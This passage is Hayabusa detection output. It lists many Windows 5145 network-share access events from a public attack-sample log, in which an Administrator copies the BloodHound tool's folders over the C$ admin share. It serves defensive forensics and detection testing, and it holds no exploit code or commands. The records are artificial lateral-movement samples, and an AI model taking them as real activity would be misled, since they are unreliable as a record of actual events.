Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fstream\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.658 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\glob : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.658 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graceful-fs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.668 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.668 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.668 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\lib\alg : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\lib\data : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\node_modules\lodash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\hyphenate-style-name : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\hyphenate-style-name\.nyc_output : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size\lib\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-type : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\imurmurhash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inflight : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inherits : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib\static : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.728 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\invariant : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.728 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\isarray : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.728 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\is-obj : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\is-zip-file : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\external : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\external\sizzle : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\ajax : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\attributes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\core : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\data : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.758 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\deferred : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\effects : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\event : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\exports : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\manipulation : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.768 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\queue : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\traversing : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\var : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\js-tokens : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jszip : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.778 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\keycode : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\keycode\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\keycode\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.788 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.798 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\dist\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.808 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.808 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.gexf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.808 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.graphml : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.image : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.spreadsheet : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share 